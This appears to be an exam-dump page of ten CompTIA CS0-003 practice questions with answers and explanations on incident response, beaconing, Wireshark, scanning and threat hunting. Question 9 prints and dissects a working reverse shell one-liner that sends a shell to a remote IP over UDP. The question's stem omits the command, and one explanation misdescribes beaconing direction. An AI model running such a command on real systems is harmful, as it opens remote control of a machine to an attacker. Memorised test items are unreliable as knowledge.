CompTIA CS0-003 Exam Dumps & Practice Test Questions
Question No 1:
When investigating a digital or physical security incident, what is the most important first step an investigator must take as soon as they arrive at the scene?
A. Notify the relevant law enforcement authorities
B. Secure and preserve the integrity of the scene
C. Identify and collect all relevant evidence, both digital and physical
D. Conduct preliminary interviews with witnesses and involved parties
Correct Answer:
B. Secure and preserve the integrity of the scene
Explanation:
The first and most important action when responding to any type of security incident—whether it’s a cybercrime, physical break-in, or data breach—is to secure and preserve the scene. This involves isolating the area to prevent any contamination, alteration, or loss of evidence. Ensuring the scene remains unchanged is vital because premature tampering with or disturbing the environment can jeopardize the integrity of the entire investigation.
In a cybersecurity incident, for example, an investigator may need to preserve volatile data—such as logs, system memory, and network traffic data—before shutting down systems. If investigators fail to act quickly to secure this information, they risk losing critical evidence, such as real-time logs that could reveal hacker activity or data exfiltration.
For a physical crime scene, securing the area means preventing unauthorized individuals from entering or tampering with the location, ensuring that evidence is not altered or destroyed. Any failure to limit access can result in items being moved or destroyed, which could weaken the case later.
While notifying law enforcement (Option A) and collecting evidence (Option C) are crucial, these steps follow the securing of the scene. Interviews with witnesses or personnel (Option D) are also important but should be conducted after ensuring that the environment remains intact for proper evidence collection and analysis.
In conclusion, securing the scene is the foundational first step in any investigation, establishing the chain of custody, preventing evidence tampering, and ensuring that all findings are legally admissible. Without securing the scene properly, key evidence may be compromised, which could undermine the entire investigation.
Question No 2:
In the management of a cybersecurity incident, clear and timely communication is vital for mitigating risks and coordinating the response.
What is the best method for the CSIRT (Computer Security Incident Response Team) lead to determine who needs to be informed and when during the incident response process?
A. The CSIRT lead should refer to the organization's incident response policy or plan, which includes communication guidelines and contact hierarchies.
B. The CSIRT lead should consult with senior management to make communication decisions.
C. The CSIRT lead should have full discretion to decide communication channels and timing based on personal judgment.
D. Subject matter experts should be responsible for managing communications with stakeholders in their respective areas of expertise.
Correct Answer:
A. The CSIRT lead should refer to the organization's incident response policy or plan, which includes communication guidelines and contact hierarchies.
Explanation:
In any cybersecurity incident, effective communication is critical to ensuring that the right individuals are informed promptly, which helps prevent confusion, minimize misinformation, and facilitate a well-coordinated response. The CSIRT lead plays a vital role in overseeing not just the technical aspects of the response but also the communication flow within the team, across departments, and with external stakeholders as necessary.
However, communication decisions should not be made randomly or based on personal judgment alone. Organizations typically have pre-established communication protocols within their incident response policy or plan. These guidelines outline the responsibilities of team members, communication hierarchies, escalation procedures, and specific contact details for relevant stakeholders. By consulting the response plan, the CSIRT lead ensures that communication is consistent, effective, and aligned with the organization’s needs and legal obligations.
Option B is incorrect because while management may assist with strategic decisions, the CSIRT lead is the one responsible for operational communication during an incident, guided by the response plan.
Option C is misleading, suggesting arbitrary decision-making, which could result in delayed or missed notifications. It’s important for decisions to be systematic and based on established procedures.
Option D could create fragmented communication, as it places the responsibility for communication within specific domains rather than ensuring a cohesive, controlled flow of information.
In summary, the CSIRT lead should always refer to the organization's incident response plan for communication decisions. This ensures that the communication process is both structured and effective, supporting the swift, coordinated response required in a high-stakes incident.
Question No 3:
A newly appointed cybersecurity analyst has been tasked with creating an executive-level briefing on potential security risks facing the organization. To provide accurate and comprehensive insights, the analyst needs to gather information that highlights vulnerabilities, assesses potential impacts, and evaluates the likelihood of various threat scenarios.
Which resource would be the most suitable for compiling this information?
A. Firewall logs
B. Indicators of compromise (IOCs)
C. Risk assessment
D. Access control lists (ACLs)
Correct Answer: C. Risk assessment
Explanation:
When preparing a cybersecurity briefing for executives, the information must be both comprehensive and strategic. A risk assessment is the most appropriate tool in this context, as it evaluates a range of threats and vulnerabilities, prioritizes them based on their potential impact, and helps assess the likelihood of their occurrence. It provides an overarching view of the organization’s security posture, considering various aspects such as technical weaknesses, operational issues, and human factors.
The key advantage of a risk assessment is its ability to offer insights that are not only technical but also aligned with the business concerns of executive leadership. It identifies critical vulnerabilities, quantifies potential impacts, and helps decision-makers prioritize security initiatives based on the severity and likelihood of risks. This information is crucial for developing strategic security measures and allocating resources effectively.
On the other hand, the other options are more narrow in scope:
Firewall logs (A) are essential for monitoring network traffic and identifying specific security events, but they are too technical and detailed for an executive-level summary.
Indicators of compromise (IOCs) (B) are signs that a breach or attack has occurred or is underway, but they do not provide a broad overview of potential threats or vulnerabilities. They are more useful for immediate response rather than long-term strategic planning.
Access Control Lists (ACLs) (D) manage permissions but do not assess the risks of future threats or evaluate the potential impact of vulnerabilities.
Therefore, a risk assessment is the most comprehensive and effective tool for generating the necessary data to inform executives about potential security threats in a way that is both insightful and actionable.
Question No 4:
A cybersecurity analyst is monitoring outbound network traffic and notices unusual activity from an internal device. The device is sending HTTPS traffic to an IP address that has been flagged as malicious and is located in a foreign country. Upon further investigation, the analyst finds that the HTTPS requests contain irregular or extra characters in the header, a behavior that is not typical for legitimate HTTPS communication. The suspicious activity seems to occur at regular intervals.
Based on these observations, which type of activity is the analyst likely detecting?
A. Beaconing
B. Cross-site scripting (XSS)
C. Buffer overflow
D. PHP traversal
Correct Answer: A. Beaconing
Explanation:
In this scenario, the analyst has detected unusual outbound HTTPS traffic from an internal device to a known malicious IP address. The traffic includes suspicious modifications in the header and occurs repeatedly at regular intervals, which is a clear indication of beaconing.
Beaconing is a technique commonly employed by malware or compromised devices to maintain ongoing communication with a command-and-control (C2) server. This communication often appears to be regular and can be disguised as normal traffic, such as HTTPS, to evade detection. However, anomalies like additional or malformed headers, especially when directed at a known malicious server, can be a telltale sign of malicious activity.
The key features of beaconing are:
Regular communication: The device regularly checks in with the attacker’s server, often to maintain control or receive new commands.
Outbound traffic: Beaconing involves the device sending signals to an external server, which can be used for data exfiltration or remote control.
Suspicious data: The irregular characters in the HTTPS header suggest that the traffic is being manipulated to serve the attacker’s purpose, not a legitimate request.
This activity is different from Cross-Site Scripting (XSS), which targets web applications by injecting malicious scripts into trusted websites, and Buffer overflow, which exploits vulnerabilities in memory management. Additionally, PHP traversal is a type of attack aimed at accessing unauthorized files via vulnerabilities in PHP scripts.
The repetitive pattern and destination of the communication—along with unusual header modifications—are hallmark signs of beaconing. Detecting and addressing beaconing behavior is critical for identifying potential compromises or ongoing malicious activity, as it often marks the early stages of a security breach.
Question No 5:
A cybersecurity analyst is investigating a Wireshark packet capture involving an FTP session from a potentially compromised device. The analyst applies the display filter "ftp" to focus on FTP control commands and observes multiple RETR (retrieve) commands with corresponding 226 Transfer Complete responses, indicating that files were successfully downloaded. However, the packet capture does not show any actual file data being transferred.
What should the analyst do next to view the full contents of the files downloaded during this FTP session?
A. Modify the display filter to ftp.active.port
B. Modify the display filter to tcp.port==20
C. Use the display filter ftp-data and follow the TCP streams
D. Go to the File menu and select Export Objects > FTP
Correct Answer: D. Go to the File menu and select Export Objects > FTP
Explanation:
When analyzing FTP traffic in Wireshark, it's essential to understand the distinction between the FTP control channel and the FTP data channel. The control channel typically operates on TCP port 21 and is responsible for sending commands such as RETR (retrieve) or STOR (store). In contrast, the data channel (usually on TCP port 20 or dynamically negotiated) handles the actual transfer of files.
The display filter "ftp" only shows the FTP control commands, so in this case, the analyst can see the RETR commands and the corresponding 226 Transfer Complete responses but not the actual file data. To access the files being transferred, the analyst should use the "Export Objects" feature in Wireshark. By navigating to File > Export Objects > FTP, the tool will scan through the capture and list all file objects that were downloaded during the FTP session. This function enables the analyst to view, inspect, and save the files transmitted during the session.
While modifying the filter to ftp-data or tcp.port==20 may help isolate data connections, these steps do not automatically reconstruct or extract files. Following TCP streams could also be effective, but it is time-consuming and inefficient, especially when dealing with multiple file transfers.
Therefore, Option D is the most practical and effective way for the analyst to obtain and inspect the full contents of the files downloaded during the FTP session.
Question No 6:
A Security Operations Center (SOC) manager receives a call from an unhappy customer who reports receiving a vulnerability assessment report two hours ago. The report identified several security issues in their system but did not include follow-up actions or remediation steps, which has caused frustration and concern.
To determine if the SOC team responded within the agreed timeframe and met the service level expectations, the SOC manager decides to review the appropriate documentation.
Which document should the SOC manager refer to in order to confirm the team's response time and responsibilities regarding the vulnerability report?
A. Service Level Agreement (SLA)
B. Memorandum of Understanding (MOU)
C. Non-Disclosure Agreement (NDA)
D. Limitation of Liability
Correct Answer: A. Service Level Agreement (SLA)
Explanation:
The Service Level Agreement (SLA) is the most relevant document for the SOC manager to review in this situation. An SLA is a formal, legally binding agreement between a service provider and a customer, outlining the expected service standards, performance metrics, and timelines for various services, including incident response, vulnerability assessments, and remediation activities.
In this case, the SOC manager is dealing with a customer complaint about the lack of follow-up or remediation steps after a vulnerability assessment was conducted. The SLA should provide specific information on the expected response and resolution times for such reports. If the SOC team did not meet these timelines, it could be considered a breach of the agreement. The SLA may also outline different service levels based on the severity of the issues identified in the report, helping the manager determine if the SOC team's actions were aligned with the agreed-upon service expectations.
The other options are not relevant for confirming response times or service obligations:
An MOU (Memorandum of Understanding) is typically used for broad agreements between parties but is not legally binding and does not provide specific details about service performance or response times.
An NDA (Non-Disclosure Agreement) governs confidentiality and data protection but has no relevance to performance or timing obligations for security services.
Limitation of Liability clauses define the extent of liability in case of damages or issues but do not address service delivery timelines or response expectations.
Therefore, the SLA is the most appropriate document to review in order to assess whether the SOC team met its obligations regarding timely follow-up and remediation actions.
Question No 7:
Within the Cyber Kill Chain model, which phase specifically involves an attacker establishing a remote communication channel with a compromised system, allowing them to send commands and maintain ongoing access?
A. Command and Control
B. Actions on Objectives
C. Exploitation
D. Delivery
Correct Answer: A. Command and Control
Explanation:
The Cyber Kill Chain is a model developed by Lockheed Martin to understand and analyze the steps taken by cyber attackers to achieve their malicious objectives. The model breaks down the attack into seven distinct stages: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control (C2), and Actions on Objectives.
The Command and Control (C2) phase is the sixth stage in the Cyber Kill Chain and is crucial for an attacker’s sustained access to the compromised system. In this phase, the attacker establishes a remote communication channel with the infected system, allowing them to send commands, control the device remotely, and move laterally through the network. This is essential for the attacker to maintain access and progress to the final stage, Actions on Objectives, where the actual damage or data theft takes place.
During the C2 phase, attackers often employ techniques such as beaconing (sending regular signals to the compromised system), remote shell access, or malware that communicates back to a command server. To evade detection, they may encrypt the communication, use proxy servers, or disguise their traffic as normal network activity.
Here’s why the other phases don’t fit:
Delivery involves sending the malicious payload to the target system (such as through email attachments or drive-by downloads).
Exploitation occurs when the attacker leverages a system vulnerability to execute the payload.
Actions on Objectives take place after C2 is set up and include goals like data exfiltration or system destruction.
In cybersecurity, disrupting the C2 phase is critical, as detecting and stopping this communication channel can prevent the attacker from completing their objectives, stopping the attack before significant damage occurs.
Question No 8:
A global organization with a remote workforce spread across various regions is facing network performance issues due to high traffic from security operations. The company uses dynamic IP addresses for its remote endpoints and is looking for a vulnerability scanning solution that can reduce network congestion while still providing accurate insights into vulnerabilities on individual systems.
Which scanning approach would best meet these requirements?
A. External
B. Agent-based
C. Non-credentialed
D. Credentialed
Correct Answer: B. Agent-based
Explanation:
When a company operates with a remote workforce across multiple geographic locations, managing network performance while ensuring robust security becomes a complex challenge. One of the key concerns in such environments is reducing the impact of security operations—like vulnerability scanning—on network bandwidth, especially when users are accessing the network from dynamic locations (e.g., home networks or public Wi-Fi) with constantly changing IP addresses.
Traditional scanning approaches such as external or credentialed scans may not be ideal in this scenario. External scans often rely on centralized scanners probing the systems across the network, which can generate a significant amount of traffic. Credentialed scans offer more detailed insights into vulnerabilities but require regular authentication and constant connectivity to the target devices, which can be difficult to maintain in dynamic remote environments. Non-credentialed scans are less intrusive but provide less depth in vulnerability analysis and still rely on network access to the endpoints.
The most efficient and practical solution for this situation is agent-based scanning. This approach involves installing lightweight software agents on each endpoint device. These agents run locally on the systems, perform vulnerability scans, and collect data directly from the endpoints. The key advantage is that the data processing happens locally, significantly reducing the need for large amounts of data to be sent across the network. Only the results or alerts are transmitted back to the central server, which minimizes network congestion.
Agent-based scanning is also ideal for environments where IP addresses are constantly changing. Since the agent resides on the endpoint device, it continues to perform vulnerability scans irrespective of the device’s IP address, providing continuous security coverage without the need for constant network access or reconfiguration.
Thus, agent-based scanning is the most efficient, scalable, and network-friendly solution for addressing the needs of organizations with dynamic IPs and remote workers.
Question No 9:
A security analyst reviewing logs from a compromised web server detects a suspicious command being executed. The command observed is: This command appears to be an attempt to establish communication with a remote IP address over a specific UDP port.
Which type of cyberattack is most likely being executed with this command?
A. Remote Code Execution (RCE)
B. Reverse Shell
C. Cross-Site Scripting (XSS)
D. SQL Injection
Correct Answer: B. Reverse Shell
Explanation:
The command sh -i >& /dev/udp/10.1.1.1/4821 0>&1 is an example of a reverse shell attack. Reverse shells are a technique commonly used by attackers to gain remote access to a compromised system. Let’s break down the individual components of this command:
sh -i: This invokes the interactive shell mode, which allows the attacker to execute commands as if they were directly interacting with the system’s terminal.
>& /dev/udp/10.1.1.1/4821: This part of the command redirects the standard output and standard error (the results of any commands) to a UDP connection targeting the IP address 10.1.1.1 on port 4821. UDP is often chosen because it is connectionless and less likely to be blocked by firewalls.
0>&1: This redirects standard input (keyboard input) to standard output, completing the bidirectional communication channel. This allows the attacker to both send commands to and receive output from the compromised system.
The primary goal of this command is to establish a reverse shell, where the compromised system initiates a connection back to the attacker’s machine. Since many firewalls block incoming connections but allow outgoing traffic, the reverse shell allows the attacker to bypass these firewall restrictions and gain control of the target machine.
Let’s now discuss why the other options are incorrect:
Remote Code Execution (RCE) (A): While this command could be part of an RCE attack, RCE itself is a broader concept and typically refers to the ability to execute arbitrary code on a remote machine. The specific command here represents the payload (the reverse shell), not the attack method.
Cross-Site Scripting (XSS) (C): XSS attacks involve injecting malicious scripts into web pages that are then executed in a victim’s browser. This command, however, is a server-side action and has nothing to do with scripting within web pages.
SQL Injection (D): SQL Injection attacks target database queries, usually by injecting malicious SQL code into a vulnerable application. This is unrelated to the command observed, which is focused on shell redirection and networking.
In conclusion, the reverse shell attack is the most likely type of cyberattack being attempted with the command, making Option B the correct answer. The attacker is attempting to gain interactive access to the compromised system by leveraging the reverse shell technique.
Question No 10:
Which of the following best describes the purpose of a threat-hunting exercise in a cybersecurity environment?
A) To respond to incidents after they have been confirmed by automated detection systems.
B) To proactively search for threats that have evaded existing security tools.
C) To update firewall rules based on known malicious IP addresses.
D) To scan systems for known vulnerabilities and apply patches.
Correct Answer: B
Explanation:
The CompTIA Cybersecurity Analyst (CS0-003) exam assesses a candidate’s ability to proactively defend and continuously improve the security posture of an organization. One important area of focus is threat hunting, which distinguishes itself from other reactive security practices.
Threat hunting is a proactive approach where cybersecurity professionals actively search through networks, systems, and datasets to identify signs of malicious activity that have not triggered any alerts from automated tools like SIEMs (Security Information and Event Management), IDS/IPS, or antivirus software. The goal is to detect advanced persistent threats (APTs), zero-day exploits, or stealthy attackers that may have bypassed standard detection mechanisms.
Option A refers to incident response, which is reactive and occurs after a threat has been detected—unlike threat hunting, which is proactive and often begins without a specific alert or indicator.
Option C describes a network security maintenance task that involves adjusting firewall rules. While useful, this activity is based on known threats and is not a core part of threat hunting.
Option D refers to vulnerability management or patch management, which is focused on reducing exposure by fixing known software flaws, not on discovering undetected threats.
In contrast, Option B accurately describes threat hunting as a method used to proactively detect hidden threats by analyzing logs, traffic patterns, and user behavior for anomalies. It often involves forming hypotheses about potential attack vectors and systematically investigating whether any evidence supports them.
Threat hunters may rely on:
Behavioral analytics
Threat intelligence
Manual log reviews
Advanced querying tools like YARA or custom scripts
This approach helps organizations strengthen their detection capabilities, shorten dwell time, and respond to threats more effectively—which aligns with the learning objectives of the CS0-003 exam and the real-world responsibilities of a cybersecurity analyst.
